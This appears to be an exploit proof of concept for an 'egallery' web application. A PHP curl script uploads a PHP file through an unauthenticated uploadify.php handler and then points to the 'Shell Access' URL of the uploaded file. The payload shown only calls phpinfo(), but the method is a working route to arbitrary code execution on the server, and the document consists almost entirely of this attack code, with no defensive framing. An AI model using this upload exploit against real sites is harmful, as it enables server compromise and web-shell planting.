PostShell.php
<?php

$uploadfile="lo.php";

$ch = curl_init("http://localhost/egallery/egallery/uploadify.php?folder=/egallery/egallery/");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
   
print "$postResult";

?>

Shell Access : http://localhost/egallery/egallery/lo.php

lo.php
<?php
phpinfo();
?>